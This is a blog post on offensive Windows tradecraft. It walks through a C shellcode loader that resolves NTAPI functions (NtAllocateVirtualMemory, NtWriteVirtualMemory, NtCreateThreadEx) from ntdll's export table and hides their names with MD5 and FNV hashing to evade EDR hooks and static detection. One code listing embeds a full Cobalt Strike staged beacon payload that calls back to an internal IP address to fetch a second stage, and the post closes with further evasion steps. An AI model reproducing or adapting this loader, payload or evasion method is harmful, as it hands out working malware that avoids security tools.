Home About

Dynamically resolving hashed-NTAPI Calls

Introduction

As syscalls become more and more popular, even making their way into Beacon Object Files, we see new tools and techniques to do so pop up all the time. In this blog I want to look at two of my favourite techniques in malware at the moment:

  1. Resolving NTAPI Calls dynamically from the Export Table
  2. Hash the function names to avoid strings

The function hashing used within this blog was used during the SUNBURST attack and is something I found quite cool, so I reproduced it and now use it quite often. So, with that said, this blog will go over using both of these techniques.

The Template

As Context show in A Beginner’s Guide to Windows Shellcode Execution Techniques, the template will follow the typical concepts of VirtualAlloc, RtlMoveMemory, and CreateThread:

#include <iostream>
#include <Windows.h>

int main()
{
    // Shellcode
    char shellcode[] = "\xcc\xcc\xcc\xcc\x41\x41\x41\x41";
    
    //Shellcode size
    int shellcodeSize = 891;
    
    // Base Address
    LPVOID pAddress = VirtualAlloc(0, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    // Copy to Base Address
    memcpy(pAddress, shellcode, shellcodeSize);
    
    // Handle of new thread
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pAddress, NULL, 0, 0);
    
    // Wait
    WaitForSingleObject(hThread, INFINITE);

    return 0;
}

For my shellcode, I will be using Cobalt Strike and the staged payload export to C (purely because the staged is a lot smaller and won't kill my Visual Studio). If you're using the raw output, here are two quick ways of getting the bytes:

python3 -c "with open('/home/mez0/beacon.bin','rb') as f: print(', '.join(hex(i) for i in f.read()))"

Or:

xxd -i /home/mez0/beacon.bin

Whichever way the bytes are obtained, this template is just to prove that it's crap. Disabling Defender as a sanity check to make sure it actually works:

It works. Let's take a look at the current state of the binary.

Breaking down the template

If we look at the strings in PEStudio, we can see all our calls:

Loading this up in API Monitor makes it easier to see this execution chain:

So, we have some objectives:

  1. Prevent the calls from being in the Import Table
  2. Avoid the common pattern as seen in API Monitor

Getting method pointers

As I previously mentioned, the functions are going to be obtained from the Export Table. But first, A TL;DR on what that is. If you've ever looked into the PE Format, you would have seen this image:

And rightly so, it has everything you need to know about it. And instead of boring you with the PE Model, Microsoft has already done it and kowalcyk.info has smashed it. But essentially we are looking at the .edata section which contains all the data for a DLL.

The struct:

From here we are interested in a few things:

DWORD   AddressOfFunctions;     // RVA from base of image
DWORD   AddressOfNames;         // RVA from base of image
DWORD   AddressOfNameOrdinals;  // RVA from base of image

As detailed by kowalczyk.info:

The three AddressOf... fields are relative virtual addresses into the address space of a process once the module has been loaded. Once the module is loaded, the relative virtual address should be added to the module base address to get the exact location in the address space of the process.

Which is perfect. So, how do we get the pointers? Below is an example I've used for a while, and I've seen it in a few places:

PVOID WINAPI GetFunctionFromExportTable(LPCTSTR moduleName, LPCSTR functionName)
{
    HMODULE hModule = GetModuleHandle(moduleName);

    if (!hModule)
    {
        return NULL;
    }

    PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)hModule;
    if (dosHeaders->e_magic != IMAGE_DOS_SIGNATURE)
    {
        return NULL;
    }

    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)hModule + dosHeaders->e_lfanew);

    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
    {
        return NULL;
    }

    if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
    {
        return NULL;
    }

    PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)hModule + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    PDWORD Address = (PDWORD)((LPBYTE)hModule + exportDirectory->AddressOfFunctions);
    PDWORD Name = (PDWORD)((LPBYTE)hModule + exportDirectory->AddressOfNames);
    PWORD Ordinal = (PWORD)((LPBYTE)hModule + exportDirectory->AddressOfNameOrdinals);

    for (int i = 0; i < exportDirectory->AddressOfFunctions; i++)
    {
        if (!strcmp(functionName, (char*)hModule + Name[i]))
        {
            return (PVOID)((LPBYTE)hModule + Address[Ordinal[i]]);
        }
    }
    return NULL;
}

Reviewing this code, the very first thing we're doing is getting a handle to whichever DLL we are after. For this, it uses GetModuleHandle():

HMODULE hModule = GetModuleHandle(moduleName);
if (!hModule)
{
    return NULL;
}

Arguably, this call is a bit suss and it wouldn't be too much effort to replace it with a custom implementation. If a handle is obtained, we then grab the headers:

PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)hModule;
if (dosHeaders->e_magic != IMAGE_DOS_SIGNATURE)
{
    return NULL;
}

Taking a look at the struct:

From the struct we then check if the e_magic member variable is IMAGE_DOS_SIGNATURE, which is the identifier for DOS MZ Executables:

#define IMAGE_DOS_SIGNATURE                 0x5A4D      // MZ

Basically just checking if the executable is DOS Executable. Next up we do another check:

PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)hModule + dosHeaders->e_lfanew);

if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
{
    return NULL;
}

Next, we grab the NT Headers and store them in the PIMAGE_NT_HEADERS struct:

From here we store e_lfanew which is a 4-byte value where the PE file header can be found. The Signature is then checked against IMAGE_NT_SIGNATURE:

#define IMAGE_NT_SIGNATURE                  0x00004550  // PE00

All of this just ensures that the current file is a valid PE File.

Once we have established that, we can get the address of the Export Directory:

PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)hModule + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

PDWORD Address = (PDWORD)((LPBYTE)hModule + exportDirectory->AddressOfFunctions);
PDWORD Name = (PDWORD)((LPBYTE)hModule + exportDirectory->AddressOfNames);
PWORD Ordinal = (PWORD)((LPBYTE)hModule + exportDirectory->AddressOfNameOrdinals);

All of the details on the depths of PE's are addressed very well in kowalcyk.info, which I highly recommend reading if this is new to you.

The main part of this logic is this part:

for (int i = 0; i < exportDirectory->AddressOfFunctions; i++)
{
    if (!strcmp(functionName, (char*)hModule + Name[i]))
    {
        return (PVOID)((LPBYTE)hModule + Address[Ordinal[i]]);
    }
}

We're looping over all the functions within the DLL, and then doing a String Comparison to see if that is the one we want. If so, return.

Foreshadowing the methods we'll need and their addresses can be seen here:

The NTAPI

Before we move on to executing these calls, let's talk a bit about the NTDLL.DLL.

Everyone who has documented malware syscalls will have shown the following diagrams. However, for context, I will show them again. Windows operates with 4 different levels of privilege over 4 different rings:

Giving this some context, most user activity will occur at ring 3, known as User Mode. And the Kernel operates (surprisingly) within Kernel Mode. More detail can be found in Windows Programming/User Mode vs Kernel Mode. Cross-over between user mode and kernel mode can and does happen. For a better representation of Kernel Mode and User Mode, see the Overview of Windows Components documentation:

 

Rings 1 and 2 are typically left for device drivers. But why is this useful? Well, it turns out that the Windows API utilises the NTAPI which operates within Kernel Mode. As an example, let's reuse API Monitor and take a look at CreateThread to see this in action:

Two for one, the above shows CreateThread being called and then, subsequently, NtCreateThreadEx being called shortly after. The same happens with WaitForSingleObject.

That should explain a bit about how this is working but not why we need it. Multiple EDRs utilise user-mode Function hooking, as demonstrated by Adam Chester in 2019, as well as further documentation on EDR Evasion with Syscalls from Cornelis De Plaa (at the exact time I released this, s3cur3th1ssh1t released a great explanation of all of this). Syscalls essentially make it very difficult for EDRs to accurately identify and inspect the execution flow.

Let's get back on track. We now have a function that can take in a function name and DLL, then return an address for it. To execute it I will reuse the old template but switch out CreateThread with NtCreateThreadEx. If all goes well, then all the calls will be switched out.

As we can't just call this function, we need to define a type. The calls can be found on ntinternals.net. Here is an example for NtCreateThreadEx:

typedef NTSTATUS(WINAPI* NtCreateThreadEx)
(
    OUT PHANDLE hThread,
    IN ACCESS_MASK DesiredAccess,
    IN LPVOID ObjectAttributes,
    IN HANDLE ProcessHandle,
    IN LPTHREAD_START_ROUTINE lpStartAddress,
    IN LPVOID lpParameter,
    IN BOOL CreateSuspended,
    IN ULONG StackZeroBits,
    IN ULONG SizeOfStackCommit,
    IN ULONG SizeOfStackReserve,
    OUT LPVOID lpBytesBuffer
);

The updated code:

#include <iostream>
#include <Windows.h>

typedef NTSTATUS(WINAPI* NtCreateThreadEx)
(
    OUT PHANDLE hThread,
    IN ACCESS_MASK DesiredAccess,
    IN LPVOID ObjectAttributes,
    IN HANDLE ProcessHandle,
    IN LPTHREAD_START_ROUTINE lpStartAddress,
    IN LPVOID lpParameter,
    IN BOOL CreateSuspended,
    IN ULONG StackZeroBits,
    IN ULONG SizeOfStackCommit,
    IN ULONG SizeOfStackReserve,
    OUT LPVOID lpBytesBuffer
);

using namespace std;

PVOID WINAPI GetFunctionFromExportTable(LPCTSTR moduleName, LPCSTR functionName)
{
    HMODULE hModule = GetModuleHandle(moduleName);

    if (!hModule)
    {
        return NULL;
    }

    PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)hModule;
    if (dosHeaders->e_magic != IMAGE_DOS_SIGNATURE)
    {
        return NULL;
    }

    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)hModule + dosHeaders->e_lfanew);

    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
    {
        return NULL;
    }

    if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
    {
        return NULL;
    }

    PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)hModule + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    PDWORD Address = (PDWORD)((LPBYTE)hModule + exportDirectory->AddressOfFunctions);
    PDWORD Name = (PDWORD)((LPBYTE)hModule + exportDirectory->AddressOfNames);
    PWORD Ordinal = (PWORD)((LPBYTE)hModule + exportDirectory->AddressOfNameOrdinals);

    for (int i = 0; i < exportDirectory->AddressOfFunctions; i++)
    {
        if (!strcmp(functionName, (char*)hModule + Name[i]))
        {
            return (PVOID)((LPBYTE)hModule + Address[Ordinal[i]]);
        }
    }
    return NULL;
}

int main()
{
    // Shellcode
    unsigned char shellcode[] = "\xfc\x48\x83[..SNIP..]\x39\x00\x6a\x4e\x4a\xd6";

    //Shellcode size
    int shellcodeSize = 891;

    // Base Address
    LPVOID pAddress = VirtualAlloc(0, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (pAddress == NULL) {
        printf("[!] Failed to allocate memory!\n");
        return 2;
    }
    else{
        printf("|-> Base Address: %p\n", pAddress);
    }

    // Copy to Base Address
    memcpy(pAddress, shellcode, shellcodeSize);

    // Handle of new thread
    LPVOID pNtCreateThreadEx = GetFunctionFromExportTable(L"ntdll.dll", "NtCreateThreadEx");
    if (pNtCreateThreadEx == NULL) {
        printf("[!] Failed to get address of NtCreateThreadEx\n");
        return 2;
    }
    else {
        printf("|-> NtCreateThreadEx Address: %p\n", pNtCreateThreadEx);
    }
    NtCreateThreadEx _NtCreateThreadEx = (NtCreateThreadEx)pNtCreateThreadEx;
    HANDLE hThread = NULL;
    NTSTATUS status = _NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)pAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
    if (hThread == NULL) {
        printf("[!] Failed to create thread, error: %d\n", status);
        return 2;
    }
    else {
        printf("|-> Thread Handle: %p\n", hThread);
    }

    // Wait
    WaitForSingleObject(hThread, INFINITE);

    return 0;
}

Executing:

Before moving on to hashing the calls, quick update of all the calls to the NTAPI:

int main()
{
    // Shellcode
    unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\xbb\x01\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x31\x68\x72\x52\x00\x5e\xf5\x52\x6e\xa4\xfb\xb9\xeb\x0e\x6b\x33\x8c\x8b\x0d\x74\xaf\x70\x64\x18\x13\xb6\x35\xa6\xea\xe5\x0e\x6d\x7c\x73\x1d\x79\x4d\xb1\x8e\x60\xd3\x94\x5c\xa4\xf8\xb8\x8f\xdf\x96\x87\x47\x47\x19\x3b\x26\x25\x03\xe3\x84\x75\xa8\x84\x3e\x69\x64\xa0\x35\xb0\x56\x89\x34\x8b\x62\x30\x18\xfd\x83\x30\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x37\x2e\x30\x3b\x20\x79\x69\x65\x31\x31\x3b\x20\x72\x76\x3a\x31\x31\x2e\x30\x29\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x0d\x0a\x00\xa3\x80\xc6\x07\xb7\xeb\xb3\xf0\x9e\x55\x86\xeb\xeb\x9c\x9e\xad\x94\x19\xcc\x78\x47\x8f\x4a\x65\x8f\x22\xd9\xbc\x6b\xa1\x9d\x84\xe9\x6f\x1b\x21\x63\xc9\xae\xb5\xca\x84\x39\xb2\xc4\x09\xbb\x01\x1e\xb4\x58\xfe\x2e\xf8\xd0\xb8\x2a\x07\x84\x87\xfb\x28\x83\x20\x9d\x62\xee\x54\x7b\x41\x7e\x5a\x9f\xef\xa8\xd7\x5e\xb3\xc3\xc9\xa9\x5f\xe5\xf7\x4b\x1f\x0a\x19\x98\x5b\x2c\x4d\xee\x0f\x13\x71\xa7\x54\x86\x25\xe7\xf4\xb9\xd4\xe1\x1b\x54\x8b\x25\xee\x87\x20\x27\x15\x6e\xc7\xb8\x64\x70\x2b\x6a\x2a\x0b\xc5\x6b\xdc\x2d\x8c\x58\x1f\xbe\xf1\xc5\xd9\x19\xa1\xa8\x65\x63\xf0\x9f\x6c\x54\x40\x03\xd9\xf2\xcd\x3a\xd5\xfc\x21\xc5\xa7\xac\xa9\xc8\x71\x6b\x24\x68\x67\x3a\x6f\xb5\xb2\x60\xc6\x7f\x3b\x32\x94\xfe\xbb\xcd\xd1\x62\xd3\x9b\x13\xdd\xa0\xc1\xd0\xbd\xf8\xc6\x03\xf8\xf6\x7a\x1d\xf4\x46\x90\xeb\x5b\xd7\xcd\xe0\x7a\x49\x09\xe4\xf7\xeb\xd5\x96\xe0\xc1\x83\x5d\x68\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x31\x30\x2e\x31\x31\x2e\x31\x31\x39\x00\x6a\x4e\x4a\xd6";

    //Shellcode size
    SIZE_T shellcodeSize = 891;

    HANDLE hProcess = GetCurrentProcess();
    NTSTATUS status;

    LPVOID PNtAllocateVirtualMemory = GetFunctionFromExportTable(L"ntdll.dll", "NtAllocateVirtualMemory");
    NtAllocateVirtualMemory _NtAllocateVirtualMemory = (NtAllocateVirtualMemory)PNtAllocateVirtualMemory;

    LPVOID PNtWriteVirtualMemory = GetFunctionFromExportTable(L"ntdll.dll", "NtWriteVirtualMemory");
    NtWriteVirtualMemory _NtWriteVirtualMemory = (NtWriteVirtualMemory)PNtWriteVirtualMemory;

    LPVOID pNtCreateThreadEx = GetFunctionFromExportTable(L"ntdll.dll", "NtCreateThreadEx");
    NtCreateThreadEx _NtCreateThreadEx = (NtCreateThreadEx)pNtCreateThreadEx;

    if (PNtAllocateVirtualMemory == NULL) {
        printf("[!] Failed to get address of NtAllocateVirtualMemory\n");
        return 2;
    }
    else {
        printf("|-> NtAllocateVirtualMemory Address: %p\n", PNtAllocateVirtualMemory);
    }

    if (PNtWriteVirtualMemory == NULL) {
        printf("[!] Failed to get address of NtWriteVirtualMemory\n");
        return 2;
    }
    else {
        printf("|-> NtWriteVirtualMemory Address: %p\n", PNtWriteVirtualMemory);
    }

    if (pNtCreateThreadEx == NULL) {
        printf("[!] Failed to get address of NtCreateThreadEx\n");
        return 2;
    }
    else {
        printf("|-> NtCreateThreadEx Address: %p\n", pNtCreateThreadEx);
    }

    printf("\n");

    PVOID pAddress = NULL;
     status = _NtAllocateVirtualMemory(hProcess, &pAddress, 0x0, &shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (pAddress == NULL) {
        printf("[!] Failed to allocate memory!\n");
        return 2;
    }
    else{
        printf("|-> Base Address: %p\n", pAddress);
    }

    // Copy to Base Address
    status = _NtWriteVirtualMemory(hProcess, pAddress, shellcode, sizeof(shellcode), 0);
    if (status != 0) {
        printf("[!] Failed to write shellcode: %X\n", status);
        CloseHandle(hProcess);
    }

    HANDLE hThread = NULL;
    status = _NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)pAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
    if (hThread == NULL) {
        printf("[!] Failed to create thread, error: %d\n", 0);
        return 2;
    }
    else {
        printf("|-> Thread Handle: %p\n", hThread);
    }

    WaitForSingleObject(hThread, INFINITE);

    return 0;
}

And testing:

Cool, so all the NTAPI Calls work. But note, WaitForSingleObject was not replaced, nor was GetCurrentProcess. As this is a demo, I didn't deem it necessary.

Hiding Function Names

Let's look at some ways of obscuring our calls. There is a wide range of options to achieve this, one way is to use the Hashing the Windows API example. For this part, it's just about being creative.

If we look into strings within the exe now, we can see all the NTAPI Calls:

Obviously, this is because of lines such as:

LPVOID PNtAllocateVirtualMemory = GetFunctionFromExportTable(L"ntdll.dll", "NtAllocateVirtualMemory");

The technique I will be using is the Fowler–Noll–Vo hash function as used during the SolarWinds compromise. Why? I think it's cool.

But before that, let's take a look at MD5 for now. Getting the hash (stolen from here):

char* HashMD5(char* data, DWORD* result)
{
    DWORD dwStatus = 0;
    DWORD cbHash = 16;
    int i = 0;
    HCRYPTPROV cryptProv;
    HCRYPTHASH cryptHash;
    BYTE hash[16];
    char* hex = (char*)"0123456789abcdef";
    char* strHash;
    strHash = (char*)malloc(500);
    memset(strHash, '\0', 500);
    if (!CryptAcquireContext(&cryptProv, NULL, MS_DEF_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
    {
        dwStatus = GetLastError();
        printf("CryptAcquireContext failed: %d\n", dwStatus);
        *result = dwStatus;
        return NULL;
    }
    if (!CryptCreateHash(cryptProv, CALG_MD5, 0, 0, &cryptHash))
    {
        dwStatus = GetLastError();
        printf("CryptCreateHash failed: %d\n", dwStatus);
        CryptReleaseContext(cryptProv, 0);
        *result = dwStatus;
        return NULL;
    }
    if (!CryptHashData(cryptHash, (BYTE*)data, strlen(data), 0))
    {
        dwStatus = GetLastError();
        printf("CryptHashData failed: %d\n", dwStatus);
        CryptReleaseContext(cryptProv, 0);
        CryptDestroyHash(cryptHash);
        *result = dwStatus;
        return NULL;
    }
    if (!CryptGetHashParam(cryptHash, HP_HASHVAL, hash, &cbHash, 0))
    {
        dwStatus = GetLastError();
        printf("CryptGetHashParam failed: %d\n", dwStatus);
        CryptReleaseContext(cryptProv, 0);
        CryptDestroyHash(cryptHash);
        *result = dwStatus;
        return NULL;
    }
    for (i = 0; i < cbHash; i++)
    {
        strHash[i * 2] = hex[hash[i] >> 4];
        strHash[(i * 2) + 1] = hex[hash[i] & 0xF];
    }
    CryptReleaseContext(cryptProv, 0);
    CryptDestroyHash(cryptHash);
    return strHash;
}

If we pipe the three calls through md5sum:

{21-01-30 10:59}inertia:~ mez0% echo -n "NtAllocateVirtualMemory" | md5sum
445748b2bdab65055f58ca90ffd62c56  -
{21-01-30 10:59}inertia:~ mez0% echo -n "NtWriteVirtualMemory" | md5sum   
274e21507fce26a09c731cb2a89f6702  -
{21-01-30 11:00}inertia:~ mez0% echo -n "NtCreateThreadEx" | md5sum    
b96716a9b01f58fddc60984e1623dd56  -
{21-01-30 11:00}inertia:~ mez0% 

Now all there is to do is replace the if statement to:

if (!strcmp(functionName, hash))
{
    printf("|-> Hash Match: %s\n\n", hash);
    return (PVOID)((LPBYTE)hModule + Address[Ordinal[i]]);
}

Then call the functions like this (I also removed the DLL parameter too):

LPVOID PNtAllocateVirtualMemory = GetFunctionFromExportTable((char*)"445748b2bdab65055f58ca90ffd62c56");
NtAllocateVirtualMemory _NtAllocateVirtualMemory = (NtAllocateVirtualMemory)PNtAllocateVirtualMemory;

LPVOID PNtWriteVirtualMemory = GetFunctionFromExportTable((char*)"274e21507fce26a09c731cb2a89f6702");
NtWriteVirtualMemory _NtWriteVirtualMemory = (NtWriteVirtualMemory)PNtWriteVirtualMemory;

LPVOID pNtCreateThreadEx = GetFunctionFromExportTable((char*)"b96716a9b01f58fddc60984e1623dd56");
NtCreateThreadEx _NtCreateThreadEx = (NtCreateThreadEx)pNtCreateThreadEx;

Testing:

Throwing this into PEStudio, we have just accidently increased our IOCs:

The same thing happens with base64:

Let's look at the FNV algorithm. During the Solar Winds compromise, it was used to hash process names and then check them in a hard-coded list of hashed process names to see if they're nearby. People have been cracking them and here is a list of some of them. I thought this would be a cool technique to add in to this project. The implementation:

size_t FNV(char* s)
{
    if ((s != NULL) && (s[0] == '\0')) {
        return 0;
    }
    size_t hash = 2166136261U;
    for (size_t i = 0; i < strlen(s); i++)
    {
        hash = hash ^ (s[i]);
        hash = hash * 16777619;
    }
    return hash;
}

To read more on this algorithm, I'd recommend the RFC.

Some test code:

int main()
{
    char* test = (char*)"NtAllocateVirtualMemory";
    size_t hash = myhash(test);
    printf("%d\n", hash);
}

If we run that, we get -899171976.

The code can be updated to use the hashed values:

LPVOID PNtAllocateVirtualMemory = GetFunctionFromExportTable(-899171976);
NtAllocateVirtualMemory _NtAllocateVirtualMemory = (NtAllocateVirtualMemory)PNtAllocateVirtualMemory;

LPVOID PNtWriteVirtualMemory = GetFunctionFromExportTable(1138962226);
NtWriteVirtualMemory _NtWriteVirtualMemory = (NtWriteVirtualMemory)PNtWriteVirtualMemory;

LPVOID pNtCreateThreadEx = GetFunctionFromExportTable(-318401318);
NtCreateThreadEx _NtCreateThreadEx = (NtCreateThreadEx)pNtCreateThreadEx;                

The final if can also be updated:

for (int i = 0; i < exportDirectory->AddressOfFunctions; i++)
{
    size_t hash = FNV((char*)hModule + Name[i]);
    if ((int)functionHash == (int)hash)
    {
        printf("   |-> Hash: %d\n\n", (int)hash);
        return (PVOID)((LPBYTE)hModule + Address[Ordinal[i]]);
    }
}

Executing:

Opening this within PEStudio we can see the strings are gone:

And the imports:

And thats both my objectives solved.

Conclusion

To recap, we have implemented dynamic resolutions of NTAPI functions and introduced some hashing to hide them from the imports. However, there is a lot still to do. To name a few:

  1. Remove the RWX Memory block with VirtualProtect (NtProtectVirtualMemory):

  1. Migrate away from the CreateThread method as it's quite overused.
  2. Do something with the shellcode. As much as we did in this post, it still gets caught by Defender because the shellcode was copy and pasted out of Cobalt Strike. However, that was not within the scope of the blog.
  3. Remove GetModuleHandle and GetCurrentProcess.

All of which are not too difficult and should 100% be done before considering to use this logic.

Source code can be found here.